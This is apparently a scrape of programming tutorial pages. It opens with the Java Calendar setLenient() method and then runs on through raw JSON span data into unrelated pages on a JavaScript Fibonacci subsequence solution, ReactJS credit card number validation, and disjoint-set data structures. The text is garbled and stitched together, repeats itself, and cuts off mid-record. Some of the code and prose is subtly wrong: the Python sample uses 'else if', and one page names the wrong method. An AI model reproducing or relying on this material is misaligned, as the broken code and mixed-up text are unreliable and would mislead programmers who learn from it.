The setLenient(boolean leniency) method in Calendar class is used to specify whether the interpretation of the date and time is to be lenient or not.
Syntax:
public void setLenient(boolean leniency)
Parameters: The method takes one parameter leniency of the boolean type that refers to the mode of the calendar. The boolean value true turns on the leniency mode and false turns off the leniency mode.
Return Value: The method does not return any value.
Below programs illustrate the working of setFirstDayOfWeek() Method of Calendar class:Example 1:
// Java code to illustrate// setLenient() method import java.util.*;public class Calendar_Demo { public static void main(String args[]) { // Creating a calendar object Calendar calndr = Calendar.getInstance(); // Displaying the current // mood of leniency boolean value = calndr.isLenient(); System.out.println("Is the" + " Calendar lenient? " + value); // Changing the leniency calndr.setLenient(false); // Displaying the result System.out.println("The altered" + " Leniency: " + calndr.isLenient()); }}
Is the Calendar lenient? true
The altered Leniency: false
Example 2:
// Java code to illustrate// isLenient() method import java.util.*;public class CalendarDemo { public static void main(String args[]) { // Creating a calendar object Calendar calndr = Calendar.getInstance(); // Displaying the calendar System.out.println("Current Calendar: " + calndr.getTime()); // Checking the leniency boolean leniency = calndr.isLenient(); calndr.setLenient(false); leniency = calndr.isLenient(); // Displaying the leniency System.out.println("Calendar is" + " lenient? " + leniency); // Checking the leniency calndr.setLenient(true); leniency = calndr.isLenient(); // Displaying the leniency System.out.println("Calendar is" + " lenient: " + leniency); }}
Current Calendar: Thu Feb 21 11:00:50 UTC 2019
Calendar is lenient? false
Calendar is lenient: true
Reference: https://docs.oracle.com/javase/8/docs/api/java/util/Calendar.html#setLenient-boolean-
Java - util package
Java-Calendar
Java-Functions
Java
Java
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Object Oriented Programming (OOPs) Concept in Java
Stream In Java
HashMap in Java with Examples
Interfaces in Java
How to iterate any Map in Java
ArrayList in Java
Initialize an ArrayList in Java
Stack Class in Java
Singleton Class in Java
Multithreading in Java
|
[
{
"code": null,
"e": 25863,
"s": 25835,
"text": "\n21 Feb, 2019"
},
{
"code": null,
"e": 26013,
"s": 25863,
"text": "The setLenient(boolean leniency) method in Calendar class is used to specify whether the interpretation of the date and time is to be lenient or not."
},
{
"code": null,
"e": 26021,
"s": 26013,
"text": "Syntax:"
},
{
"code": null,
"e": 26062,
"s": 26021,
"text": "public void setLenient(boolean leniency)"
},
{
"code": null,
"e": 26264,
"s": 26062,
"text": "Parameters: The method takes one parameter leniency of the boolean type that refers to the mode of the calendar. The boolean value true turns on the leniency mode and false turns off the leniency mode."
},
{
"code": null,
"e": 26316,
"s": 26264,
"text": "Return Value: The method does not return any value."
},
{
"code": null,
"e": 26413,
"s": 26316,
"text": "Below programs illustrate the working of setFirstDayOfWeek() Method of Calendar class:Example 1:"
},
{
"code": "// Java code to illustrate// setLenient() method import java.util.*;public class Calendar_Demo { public static void main(String args[]) { // Creating a calendar object Calendar calndr = Calendar.getInstance(); // Displaying the current // mood of leniency boolean value = calndr.isLenient(); System.out.println(\"Is the\" + \" Calendar lenient? \" + value); // Changing the leniency calndr.setLenient(false); // Displaying the result System.out.println(\"The altered\" + \" Leniency: \" + calndr.isLenient()); }}",
"e": 27110,
"s": 26413,
"text": null
},
{
"code": null,
"e": 27169,
"s": 27110,
"text": "Is the Calendar lenient? true\nThe altered Leniency: false\n"
},
{
"code": null,
"e": 27180,
"s": 27169,
"text": "Example 2:"
},
{
"code": "// Java code to illustrate// isLenient() method import java.util.*;public class CalendarDemo { public static void main(String args[]) { // Creating a calendar object Calendar calndr = Calendar.getInstance(); // Displaying the calendar System.out.println(\"Current Calendar: \" + calndr.getTime()); // Checking the leniency boolean leniency = calndr.isLenient(); calndr.setLenient(false); leniency = calndr.isLenient(); // Displaying the leniency System.out.println(\"Calendar is\" + \" lenient? \" + leniency); // Checking the leniency calndr.setLenient(true); leniency = calndr.isLenient(); // Displaying the leniency System.out.println(\"Calendar is\" + \" lenient: \" + leniency); }}",
"e": 28125,
"s": 27180,
"text": null
},
{
"code": null,
"e": 28226,
"s": 28125,
"text": "Current Calendar: Thu Feb 21 11:00:50 UTC 2019\nCalendar is lenient? false\nCalendar is lenient: true\n"
},
{
"code": null,
"e": 28323,
"s": 28226,
"text": "Reference: https://docs.oracle.com/javase/8/docs/api/java/util/Calendar.html#setLenient-boolean-"
},
{
"code": null,
"e": 28343,
"s": 28323,
"text": "Java - util package"
},
{
"code": null,
"e": 28357,
"s": 28343,
"text": "Java-Calendar"
},
{
"code": null,
"e": 28372,
"s": 28357,
"text": "Java-Functions"
},
{
"code": null,
"e": 28377,
"s": 28372,
"text": "Java"
},
{
"code": null,
"e": 28382,
"s": 28377,
"text": "Java"
},
{
"code": null,
"e": 28480,
"s": 28382,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 28531,
"s": 28480,
"text": "Object Oriented Programming (OOPs) Concept in Java"
},
{
"code": null,
"e": 28546,
"s": 28531,
"text": "Stream In Java"
},
{
"code": null,
"e": 28576,
"s": 28546,
"text": "HashMap in Java with Examples"
},
{
"code": null,
"e": 28595,
"s": 28576,
"text": "Interfaces in Java"
},
{
"code": null,
"e": 28626,
"s": 28595,
"text": "How to iterate any Map in Java"
},
{
"code": null,
"e": 28644,
"s": 28626,
"text": "ArrayList in Java"
},
{
"code": null,
"e": 28676,
"s": 28644,
"text": "Initialize an ArrayList in Java"
},
{
"code": null,
"e": 28696,
"s": 28676,
"text": "Stack Class in Java"
},
{
"code": null,
"e": 28720,
"s": 28696,
"text": "Singleton Class in Java"
}
] |
Finding Fibonacci sequence in an array using JavaScript
|
A sequence X_1, X_2, ..., X_n is fibonacci if:
n >= 3
n >= 3
X_i + X_{i+1} = X_{i+2} for all i + 2 <= n
X_i + X_{i+1} = X_{i+2} for all i + 2 <= n
We are required to write a JavaScript function that takes in an array of numbers, arr, as the first and the only argument. Our function should find and return the length of the longest Fibonacci subsequence that exists in the array arr.
A subsequence is derived from another sequence arr by deleting any number of elements (including none) from arr, without changing the order of the remaining elements.
For example, if the input to the function is
Input
const arr = [1, 3, 7, 11, 14, 25, 39];
Output
const output = 5;
Output Explanation
Because the longest Fibonacci subsequence is [3, 11, 14, 25, 39]
Following is the code:
Live Demo
const arr = [1, 3, 7, 11, 14, 25, 39];
const longestFibonacci = (arr = []) => {
const map = arr.reduce((acc, num, index) => {
acc[num] = index
return acc
}, {})
const memo = arr.map(() => arr.map(() => 0))
let max = 0
for(let i = 0; i < arr.length; i++) {
for(let j = i + 1; j < arr.length; j++) {
const a = arr[i]
const b = arr[j]
const index = map[b - a]
if(index < i) {
memo[i][j] = memo[index][i] + 1
}
max = Math.max(max, memo[i][j])
}
}
return max > 0 ? max + 2 : 0
};
console.log(longestFibonacci(arr));
5
|
[
{
"code": null,
"e": 1109,
"s": 1062,
"text": "A sequence X_1, X_2, ..., X_n is fibonacci if:"
},
{
"code": null,
"e": 1116,
"s": 1109,
"text": "n >= 3"
},
{
"code": null,
"e": 1123,
"s": 1116,
"text": "n >= 3"
},
{
"code": null,
"e": 1166,
"s": 1123,
"text": "X_i + X_{i+1} = X_{i+2} for all i + 2 <= n"
},
{
"code": null,
"e": 1209,
"s": 1166,
"text": "X_i + X_{i+1} = X_{i+2} for all i + 2 <= n"
},
{
"code": null,
"e": 1446,
"s": 1209,
"text": "We are required to write a JavaScript function that takes in an array of numbers, arr, as the first and the only argument. Our function should find and return the length of the longest Fibonacci subsequence that exists in the array arr."
},
{
"code": null,
"e": 1613,
"s": 1446,
"text": "A subsequence is derived from another sequence arr by deleting any number of elements (including none) from arr, without changing the order of the remaining elements."
},
{
"code": null,
"e": 1658,
"s": 1613,
"text": "For example, if the input to the function is"
},
{
"code": null,
"e": 1664,
"s": 1658,
"text": "Input"
},
{
"code": null,
"e": 1703,
"s": 1664,
"text": "const arr = [1, 3, 7, 11, 14, 25, 39];"
},
{
"code": null,
"e": 1710,
"s": 1703,
"text": "Output"
},
{
"code": null,
"e": 1728,
"s": 1710,
"text": "const output = 5;"
},
{
"code": null,
"e": 1747,
"s": 1728,
"text": "Output Explanation"
},
{
"code": null,
"e": 1812,
"s": 1747,
"text": "Because the longest Fibonacci subsequence is [3, 11, 14, 25, 39]"
},
{
"code": null,
"e": 1835,
"s": 1812,
"text": "Following is the code:"
},
{
"code": null,
"e": 1846,
"s": 1835,
"text": " Live Demo"
},
{
"code": null,
"e": 2468,
"s": 1846,
"text": "const arr = [1, 3, 7, 11, 14, 25, 39];\nconst longestFibonacci = (arr = []) => {\n const map = arr.reduce((acc, num, index) => {\n acc[num] = index\n return acc\n }, {})\n const memo = arr.map(() => arr.map(() => 0))\n let max = 0\n for(let i = 0; i < arr.length; i++) {\n for(let j = i + 1; j < arr.length; j++) {\n const a = arr[i]\n const b = arr[j]\n const index = map[b - a]\n if(index < i) {\n memo[i][j] = memo[index][i] + 1\n }\n max = Math.max(max, memo[i][j])\n }\n }\n return max > 0 ? max + 2 : 0\n};\nconsole.log(longestFibonacci(arr));"
},
{
"code": null,
"e": 2470,
"s": 2468,
"text": "5"
}
] |
How to validate a credit card number in ReactJS ? - GeeksforGeeks
|
16 Dec, 2020
Credit card validation is an important step in every application in order to authenticate the user’s credit card number so that the application can proceed to the payment process if needed. It can be achieved using the validator module in ReactJS. The following example shows how to validate the user entered credit card number and check whether it is valid or not using the npm module in the ReactJS application.
Creating React Application And Installing Module:
Step 1: Create a React application using the following command:
npx create-react-app creditcardvalidatedemo
Step 2: After creating your project folder i.e. creditcardvalidatedemo, move to it using the following command:
cd creditcardvalidatedemo
Step 3: After creating the ReactJS application, Install the validator module using the following command:
npm install validator
Project Structure: It will look like the following
Project Structure
App.js: Now write down the following code in the App.js file. Here, App is our default component where we have written our code to validate credit card numbers with basic UI.
Javascript
import React, { useState } from "react";import validator from 'validator' const App = () => { const [errorMessage, setErrorMessage] = useState('') const validateCreditCard = (value) => { if (validator.isCreditCard(value)) { setErrorMessage('Valid CreditCard Number') } else { setErrorMessage('Enter valid CreditCard Number!') } } return ( <div style={{ marginLeft: '200px', }}> <pre> <h2>Validating CreditCard in ReactJS</h2> <span>Enter CreditCard: </span><input type="text" onChange={(e) => validateCreditCard(e.target.value)}></input> <br /> <span style={{ fontWeight: 'bold', color: 'red', }}>{errorMessage}</span> </pre> </div> );} export default App
Step to Run Application: Run the application using the following command from the root directory of the project:
npm start
Output:
The following will be the output if the user enters an invalid credit card number as shown below:
The following will be the output if the user enters a valid credit card number as shown below:
react-js
JavaScript
Technical Scripter
Web Technologies
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Remove elements from a JavaScript Array
Difference between var, let and const keywords in JavaScript
Difference Between PUT and PATCH Request
JavaScript | Promises
How to get character array from string in JavaScript?
Remove elements from a JavaScript Array
Installation of Node.js on Linux
How to fetch data from an API in ReactJS ?
How to insert spaces/tabs in text using HTML/CSS?
Difference between var, let and const keywords in JavaScript
|
[
{
"code": null,
"e": 26545,
"s": 26517,
"text": "\n16 Dec, 2020"
},
{
"code": null,
"e": 26959,
"s": 26545,
"text": "Credit card validation is an important step in every application in order to authenticate the user’s credit card number so that the application can proceed to the payment process if needed. It can be achieved using the validator module in ReactJS. The following example shows how to validate the user entered credit card number and check whether it is valid or not using the npm module in the ReactJS application."
},
{
"code": null,
"e": 27009,
"s": 26959,
"text": "Creating React Application And Installing Module:"
},
{
"code": null,
"e": 27073,
"s": 27009,
"text": "Step 1: Create a React application using the following command:"
},
{
"code": null,
"e": 27117,
"s": 27073,
"text": "npx create-react-app creditcardvalidatedemo"
},
{
"code": null,
"e": 27229,
"s": 27117,
"text": "Step 2: After creating your project folder i.e. creditcardvalidatedemo, move to it using the following command:"
},
{
"code": null,
"e": 27255,
"s": 27229,
"text": "cd creditcardvalidatedemo"
},
{
"code": null,
"e": 27361,
"s": 27255,
"text": "Step 3: After creating the ReactJS application, Install the validator module using the following command:"
},
{
"code": null,
"e": 27383,
"s": 27361,
"text": "npm install validator"
},
{
"code": null,
"e": 27434,
"s": 27383,
"text": "Project Structure: It will look like the following"
},
{
"code": null,
"e": 27452,
"s": 27434,
"text": "Project Structure"
},
{
"code": null,
"e": 27627,
"s": 27452,
"text": "App.js: Now write down the following code in the App.js file. Here, App is our default component where we have written our code to validate credit card numbers with basic UI."
},
{
"code": null,
"e": 27638,
"s": 27627,
"text": "Javascript"
},
{
"code": "import React, { useState } from \"react\";import validator from 'validator' const App = () => { const [errorMessage, setErrorMessage] = useState('') const validateCreditCard = (value) => { if (validator.isCreditCard(value)) { setErrorMessage('Valid CreditCard Number') } else { setErrorMessage('Enter valid CreditCard Number!') } } return ( <div style={{ marginLeft: '200px', }}> <pre> <h2>Validating CreditCard in ReactJS</h2> <span>Enter CreditCard: </span><input type=\"text\" onChange={(e) => validateCreditCard(e.target.value)}></input> <br /> <span style={{ fontWeight: 'bold', color: 'red', }}>{errorMessage}</span> </pre> </div> );} export default App",
"e": 28410,
"s": 27638,
"text": null
},
{
"code": null,
"e": 28523,
"s": 28410,
"text": "Step to Run Application: Run the application using the following command from the root directory of the project:"
},
{
"code": null,
"e": 28533,
"s": 28523,
"text": "npm start"
},
{
"code": null,
"e": 28541,
"s": 28533,
"text": "Output:"
},
{
"code": null,
"e": 28639,
"s": 28541,
"text": "The following will be the output if the user enters an invalid credit card number as shown below:"
},
{
"code": null,
"e": 28734,
"s": 28639,
"text": "The following will be the output if the user enters a valid credit card number as shown below:"
},
{
"code": null,
"e": 28743,
"s": 28734,
"text": "react-js"
},
{
"code": null,
"e": 28754,
"s": 28743,
"text": "JavaScript"
},
{
"code": null,
"e": 28773,
"s": 28754,
"text": "Technical Scripter"
},
{
"code": null,
"e": 28790,
"s": 28773,
"text": "Web Technologies"
},
{
"code": null,
"e": 28888,
"s": 28790,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 28928,
"s": 28888,
"text": "Remove elements from a JavaScript Array"
},
{
"code": null,
"e": 28989,
"s": 28928,
"text": "Difference between var, let and const keywords in JavaScript"
},
{
"code": null,
"e": 29030,
"s": 28989,
"text": "Difference Between PUT and PATCH Request"
},
{
"code": null,
"e": 29052,
"s": 29030,
"text": "JavaScript | Promises"
},
{
"code": null,
"e": 29106,
"s": 29052,
"text": "How to get character array from string in JavaScript?"
},
{
"code": null,
"e": 29146,
"s": 29106,
"text": "Remove elements from a JavaScript Array"
},
{
"code": null,
"e": 29179,
"s": 29146,
"text": "Installation of Node.js on Linux"
},
{
"code": null,
"e": 29222,
"s": 29179,
"text": "How to fetch data from an API in ReactJS ?"
},
{
"code": null,
"e": 29272,
"s": 29222,
"text": "How to insert spaces/tabs in text using HTML/CSS?"
}
] |
Disjoint Set Data Structures - GeeksforGeeks
|
02 Mar, 2022
Consider a situation with a number of persons and following tasks to be performed on them.
Add a new friendship relation, i.e., a person x becomes friend of another person y.Find whether individual x is a friend of individual y (direct or indirect friend)
Add a new friendship relation, i.e., a person x becomes friend of another person y.
Find whether individual x is a friend of individual y (direct or indirect friend)
Example:
We are given 10 individuals say,
a, b, c, d, e, f, g, h, i, j
Following are relationships to be added.
a <-> b
b <-> d
c <-> f
c <-> i
j <-> e
g <-> j
And given queries like whether a is a friend of d
or not.
We basically need to create following 4 groups
and maintain a quickly accessible connection
among group items:
G1 = {a, b, d}
G2 = {c, f, i}
G3 = {e, g, j}
G4 = {h}
Problem : To find whether x and y belong to same group or not, i.e., to find if x and y are direct/indirect friends.Solution : Partitioning the individuals into different sets according to the groups in which they fall. This method is known as disjoint set data structure which maintains collection of disjoint sets and each set is represented by its representative which is one of its members.
Approach:
How to Resolve sets ? Initially all elements belong to different sets. After working on the given relations, we select a member as representative. There can be many ways to select a representative, a simple one is to select with the biggest index.
Check if 2 persons are in the same group ? If representatives of two individuals are same, then they’ll become friends.
Data Structures used: Array : An array of integers, called parent[]. If we are dealing with n items, i’th element of the array represents the i’th item. More precisely, the i’th element of the array is the parent of the i’th item. These relationships create one, or more, virtual trees.Tree : It is a disjoint set. If two elements are in the same tree, then they are in the same disjoint set. The root node (or the topmost node) of each tree is called the representative of the set. There is always a single unique representative of each set. A simple rule to identify representative is, if i is the representative of a set, then parent[i] = i. If i is not the representative of his set, then it can be found by traveling up the tree until we find the representative. Operations :
Find : Can be implemented by recursively traversing the parent array until we hit a node who is parent of itself.
// Finds the representative of the set
// that i is an element of
int find(int i)
{
// If i is the parent of itself
if (parent[i] == i)
{
// Then i is the representative of
// this set
return i;
}
else
{
// Else if i is not the parent of
// itself, then i is not the
// representative of his set. So we
// recursively call Find on its parent
return find(parent[i]);
}
}
Union: It takes, as input, two elements. And finds the representatives of their sets using the find operation, and finally puts either one of the trees (representing the set) under the root node of the other tree, effectively merging the trees and the sets.
// Unites the set that includes i
// and the set that includes j
void union(int i, int j)
{
// Find the representatives
// (or the root nodes) for the set
// that includes i
int irep = this.Find(i),
// And do the same for the set
// that includes j
int jrep = this.Find(j);
// Make the parent of i’s representative
// be j’s representative effectively
// moving all of i’s set into j’s set)
this.Parent[irep] = jrep;
}
Improvements (Union by Rank and Path Compression) The efficiency depends heavily on the height of the tree. We need to minimize the height of tree in order improve the efficiency. We can use Path Compression and Union by rank methods to do so.
Path Compression (Modifications to find()) : It speeds up the data structure by compressing the height of the trees. It can be achieved by inserting a small caching mechanism into the Find operation. Take a look at the code for more details:
// Finds the representative of the set that i
// is an element of.
int find(int i)
{
// If i is the parent of itself
if (Parent[i] == i)
{
// Then i is the representative
return i;
}
else
{
// Recursively find the representative.
int result = find(Parent[i]);
// We cache the result by moving i’s node
// directly under the representative of this
// set
Parent[i] = result;
// And then we return the result
return result;
}
}
Union by Rank: First of all, we need a new array of integers called rank[]. Size of this array is same as the parent array. If i is a representative of a set, rank[i] is the height of the tree representing the set. Now recall that, in the Union operation, it doesn’t matter which of the two trees is moved under the other (see last two image examples above). Now what we want to do is minimize the height of the resulting tree. If we are uniting two trees (or sets), let’s call them left and right, then it all depends on the rank of left and the rank of right.
If the rank of left is less than the rank of right, then it’s best to move left under right, because that won’t change the rank of right (while moving right under left would increase the height). In the same way, if the rank of right is less than the rank of left, then we should move right under left.
If the ranks are equal, it doesn’t matter which tree goes under the other, but the rank of the result will always be one greater than the rank of the trees.
// Unites the set that includes i and the set
// that includes j
void union(int i, int j)
{
// Find the representatives (or the root nodes)
// for the set that includes i
int irep = this.find(i);
// And do the same for the set that includes j
int jrep = this.Find(j);
// Elements are in same set, no need to
// unite anything.
if (irep == jrep)
return;
// Get the rank of i’s tree
irank = Rank[irep],
// Get the rank of j’s tree
jrank = Rank[jrep];
// If i’s rank is less than j’s rank
if (irank < jrank)
{
// Then move i under j
this.parent[irep] = jrep;
}
// Else if j’s rank is less than i’s rank
else if (jrank < irank)
{
// Then move j under i
this.Parent[jrep] = irep;
}
// Else if their ranks are the same
else
{
// Then move i under j (doesn’t matter
// which one goes where)
this.Parent[irep] = jrep;
// And increment the result tree’s
// rank by 1
Rank[jrep]++;
}
}
C++
Java
Python3
C#
// C++ implementation of disjoint set#include <iostream>using namespace std;class DisjSet { int *rank, *parent, n; public: // Constructor to create and // initialize sets of n items DisjSet(int n) { rank = new int[n]; parent = new int[n]; this->n = n; makeSet(); } // Creates n single item sets void makeSet() { for (int i = 0; i < n; i++) { parent[i] = i; } } // Finds set of given item x int find(int x) { // Finds the representative of the set // that x is an element of if (parent[x] != x) { // if x is not the parent of itself // Then x is not the representative of // his set, parent[x] = find(parent[x]); // so we recursively call Find on its parent // and move i's node directly under the // representative of this set } return parent[x]; } // Do union of two sets represented // by x and y. void Union(int x, int y) { // Find current sets of x and y int xset = find(x); int yset = find(y); // If they are already in same set if (xset == yset) return; // Put smaller ranked item under // bigger ranked item if ranks are // different if (rank[xset] < rank[yset]) { parent[xset] = yset; } else if (rank[xset] > rank[yset]) { parent[yset] = xset; } // If ranks are same, then increment // rank. else { parent[yset] = xset; rank[xset] = rank[xset] + 1; } }}; int main(){ DisjSet obj(5); obj.Union(0, 2); obj.Union(4, 2); obj.Union(3, 1); if (obj.find(4) == obj.find(0)) cout << "Yes\n"; else cout << "No\n"; if (obj.find(1) == obj.find(0)) cout << "Yes\n"; else cout << "No\n"; return 0;}
// A Java program to implement Disjoint Set Data// Structure.import java.io.*;import java.util.*; class DisjointUnionSets { int[] rank, parent; int n; // Constructor public DisjointUnionSets(int n) { rank = new int[n]; parent = new int[n]; this.n = n; makeSet(); } // Creates n sets with single item in each void makeSet() { for (int i = 0; i < n; i++) { // Initially, all elements are in // their own set. parent[i] = i; } } // Returns representative of x's set int find(int x) { // Finds the representative of the set // that x is an element of if (parent[x] != x) { // if x is not the parent of itself // Then x is not the representative of // his set, parent[x] = find(parent[x]); // so we recursively call Find on its parent // and move i's node directly under the // representative of this set } return parent[x]; } // Unites the set that includes x and the set // that includes x void union(int x, int y) { // Find representatives of two sets int xRoot = find(x), yRoot = find(y); // Elements are in the same set, no need // to unite anything. if (xRoot == yRoot) return; // If x's rank is less than y's rank if (rank[xRoot] < rank[yRoot]) // Then move x under y so that depth // of tree remains less parent[xRoot] = yRoot; // Else if y's rank is less than x's rank else if (rank[yRoot] < rank[xRoot]) // Then move y under x so that depth of // tree remains less parent[yRoot] = xRoot; else // if ranks are the same { // Then move y under x (doesn't matter // which one goes where) parent[yRoot] = xRoot; // And increment the result tree's // rank by 1 rank[xRoot] = rank[xRoot] + 1; } }} // Driver codepublic class Main { public static void main(String[] args) { // Let there be 5 persons with ids as // 0, 1, 2, 3 and 4 int n = 5; DisjointUnionSets dus = new DisjointUnionSets(n); // 0 is a friend of 2 dus.union(0, 2); // 4 is a friend of 2 dus.union(4, 2); // 3 is a friend of 1 dus.union(3, 1); // Check if 4 is a friend of 0 if (dus.find(4) == dus.find(0)) System.out.println("Yes"); else System.out.println("No"); // Check if 1 is a friend of 0 if (dus.find(1) == dus.find(0)) System.out.println("Yes"); else System.out.println("No"); }}
# Python3 program to implement Disjoint Set Data# Structure. class DisjSet: def __init__(self, n): # Constructor to create and # initialize sets of n items self.rank = [1] * n self.parent = [i for i in range(n)] # Finds set of given item x def find(self, x): # Finds the representative of the set # that x is an element of if (self.parent[x] != x): # if x is not the parent of itself # Then x is not the representative of # its set, self.parent[x] = self.find(self.parent[x]) # so we recursively call Find on its parent # and move i's node directly under the # representative of this set return self.parent[x] # Do union of two sets represented # by x and y. def Union(self, x, y): # Find current sets of x and y xset = self.find(x) yset = self.find(y) # If they are already in same set if xset == yset: return # Put smaller ranked item under # bigger ranked item if ranks are # different if self.rank[xset] < self.rank[yset]: self.parent[xset] = yset else if self.rank[xset] > self.rank[yset]: self.parent[yset] = xset # If ranks are same, then move y under # x (doesn't matter which one goes where) # and increment rank of x's tree else: self.parent[yset] = xset self.rank[xset] = self.rank[xset] + 1 # Driver codeobj = DisjSet(5)obj.Union(0, 2)obj.Union(4, 2)obj.Union(3, 1)if obj.find(4) == obj.find(0): print('Yes')else: print('No')if obj.find(1) == obj.find(0): print('Yes')else: print('No') # This code is contributed by ng24_7.
// A C# program to implement // Disjoint Set Data Structure.using System; class DisjointUnionSets{ int[] rank, parent; int n; // Constructor public DisjointUnionSets(int n) { rank = new int[n]; parent = new int[n]; this.n = n; makeSet(); } // Creates n sets with single item in each public void makeSet() { for (int i = 0; i < n; i++) { // Initially, all elements are in // their own set. parent[i] = i; } } // Returns representative of x's set public int find(int x) { // Finds the representative of the set // that x is an element of if (parent[x] != x) { // if x is not the parent of itself // Then x is not the representative of // his set, parent[x] = find(parent[x]); // so we recursively call Find on its parent // and move i's node directly under the // representative of this set } return parent[x]; } // Unites the set that includes x and // the set that includes x public void union(int x, int y) { // Find representatives of two sets int xRoot = find(x), yRoot = find(y); // Elements are in the same set, // no need to unite anything. if (xRoot == yRoot) return; // If x's rank is less than y's rank if (rank[xRoot] < rank[yRoot]) // Then move x under y so that depth // of tree remains less parent[xRoot] = yRoot; // Else if y's rank is less than x's rank else if (rank[yRoot] < rank[xRoot]) // Then move y under x so that depth of // tree remains less parent[yRoot] = xRoot; else // if ranks are the same { // Then move y under x (doesn't matter // which one goes where) parent[yRoot] = xRoot; // And increment the result tree's // rank by 1 rank[xRoot] = rank[xRoot] + 1; } }} // Driver codeclass GFG{ public static void Main(String[] args) { // Let there be 5 persons with ids as // 0, 1, 2, 3 and 4 int n = 5; DisjointUnionSets dus = new DisjointUnionSets(n); // 0 is a friend of 2 dus.union(0, 2); // 4 is a friend of 2 dus.union(4, 2); // 3 is a friend of 1 dus.union(3, 1); // Check if 4 is a friend of 0 if (dus.find(4) == dus.find(0)) Console.WriteLine("Yes"); else Console.WriteLine("No"); // Check if 1 is a friend of 0 if (dus.find(1) == dus.find(0)) Console.WriteLine("Yes"); else Console.WriteLine("No"); }} // This code is contributed by Rajput-Ji
Output:
Yes
No
Applications :
Kruskal’s Minimum Spanning Tree Algorithm.
Job Sequencing Problem.
Cycle Detection
Related Articles: Union-Find Algorithm | Set 1 (Detect Cycle in a an Undirected Graph) Union-Find Algorithm | Set 2 (Union By Rank and Path Compression)
Try to solve this problem and check how much you learnt and do comment on the complexity of the given question.This article is contributed by Nikhil Tekwani. If you like GeeksforGeeks and would like to contribute, you can also write an article and mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above
blmali
Rajput-Ji
Akanksha_Rai
naina024
Adityasharma15
surinderdawra388
union-find
Advanced Data Structure
union-find
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Agents in Artificial Intelligence
Decision Tree Introduction with example
AVL Tree | Set 2 (Deletion)
Red-Black Tree | Set 2 (Insert)
Segment Tree | Set 1 (Sum of given range)
Ordered Set and GNU C++ PBDS
Insert Operation in B-Tree
Binary Indexed Tree or Fenwick Tree
Binomial Heap
Design a Chess Game
|
[
{
"code": null,
"e": 25382,
"s": 25354,
"text": "\n02 Mar, 2022"
},
{
"code": null,
"e": 25474,
"s": 25382,
"text": "Consider a situation with a number of persons and following tasks to be performed on them. "
},
{
"code": null,
"e": 25639,
"s": 25474,
"text": "Add a new friendship relation, i.e., a person x becomes friend of another person y.Find whether individual x is a friend of individual y (direct or indirect friend)"
},
{
"code": null,
"e": 25723,
"s": 25639,
"text": "Add a new friendship relation, i.e., a person x becomes friend of another person y."
},
{
"code": null,
"e": 25805,
"s": 25723,
"text": "Find whether individual x is a friend of individual y (direct or indirect friend)"
},
{
"code": null,
"e": 25816,
"s": 25805,
"text": "Example: "
},
{
"code": null,
"e": 26195,
"s": 25816,
"text": "We are given 10 individuals say,\na, b, c, d, e, f, g, h, i, j\n\nFollowing are relationships to be added.\na <-> b \nb <-> d\nc <-> f\nc <-> i\nj <-> e\ng <-> j\n\nAnd given queries like whether a is a friend of d\nor not.\n\nWe basically need to create following 4 groups\nand maintain a quickly accessible connection\namong group items:\nG1 = {a, b, d}\nG2 = {c, f, i}\nG3 = {e, g, j}\nG4 = {h}"
},
{
"code": null,
"e": 26590,
"s": 26195,
"text": "Problem : To find whether x and y belong to same group or not, i.e., to find if x and y are direct/indirect friends.Solution : Partitioning the individuals into different sets according to the groups in which they fall. This method is known as disjoint set data structure which maintains collection of disjoint sets and each set is represented by its representative which is one of its members."
},
{
"code": null,
"e": 26602,
"s": 26592,
"text": "Approach:"
},
{
"code": null,
"e": 26852,
"s": 26604,
"text": "How to Resolve sets ? Initially all elements belong to different sets. After working on the given relations, we select a member as representative. There can be many ways to select a representative, a simple one is to select with the biggest index."
},
{
"code": null,
"e": 26972,
"s": 26852,
"text": "Check if 2 persons are in the same group ? If representatives of two individuals are same, then they’ll become friends."
},
{
"code": null,
"e": 27756,
"s": 26972,
"text": " Data Structures used: Array : An array of integers, called parent[]. If we are dealing with n items, i’th element of the array represents the i’th item. More precisely, the i’th element of the array is the parent of the i’th item. These relationships create one, or more, virtual trees.Tree : It is a disjoint set. If two elements are in the same tree, then they are in the same disjoint set. The root node (or the topmost node) of each tree is called the representative of the set. There is always a single unique representative of each set. A simple rule to identify representative is, if i is the representative of a set, then parent[i] = i. If i is not the representative of his set, then it can be found by traveling up the tree until we find the representative. Operations :"
},
{
"code": null,
"e": 27873,
"s": 27759,
"text": "Find : Can be implemented by recursively traversing the parent array until we hit a node who is parent of itself."
},
{
"code": null,
"e": 28346,
"s": 27875,
"text": "// Finds the representative of the set \n// that i is an element of\nint find(int i) \n{\n // If i is the parent of itself\n if (parent[i] == i) \n {\n // Then i is the representative of \n // this set\n return i;\n }\n else \n {\n // Else if i is not the parent of \n // itself, then i is not the \n // representative of his set. So we \n // recursively call Find on its parent\n return find(parent[i]);\n }\n}"
},
{
"code": null,
"e": 28606,
"s": 28348,
"text": "Union: It takes, as input, two elements. And finds the representatives of their sets using the find operation, and finally puts either one of the trees (representing the set) under the root node of the other tree, effectively merging the trees and the sets."
},
{
"code": null,
"e": 29087,
"s": 28608,
"text": "// Unites the set that includes i \n// and the set that includes j\nvoid union(int i, int j) \n{\n // Find the representatives\n // (or the root nodes) for the set\n // that includes i\n \n int irep = this.Find(i),\n\n // And do the same for the set \n // that includes j \n int jrep = this.Find(j);\n\n // Make the parent of i’s representative\n // be j’s representative effectively \n // moving all of i’s set into j’s set)\n this.Parent[irep] = jrep;\n}"
},
{
"code": null,
"e": 29332,
"s": 29087,
"text": "Improvements (Union by Rank and Path Compression) The efficiency depends heavily on the height of the tree. We need to minimize the height of tree in order improve the efficiency. We can use Path Compression and Union by rank methods to do so. "
},
{
"code": null,
"e": 29574,
"s": 29332,
"text": "Path Compression (Modifications to find()) : It speeds up the data structure by compressing the height of the trees. It can be achieved by inserting a small caching mechanism into the Find operation. Take a look at the code for more details:"
},
{
"code": null,
"e": 30125,
"s": 29576,
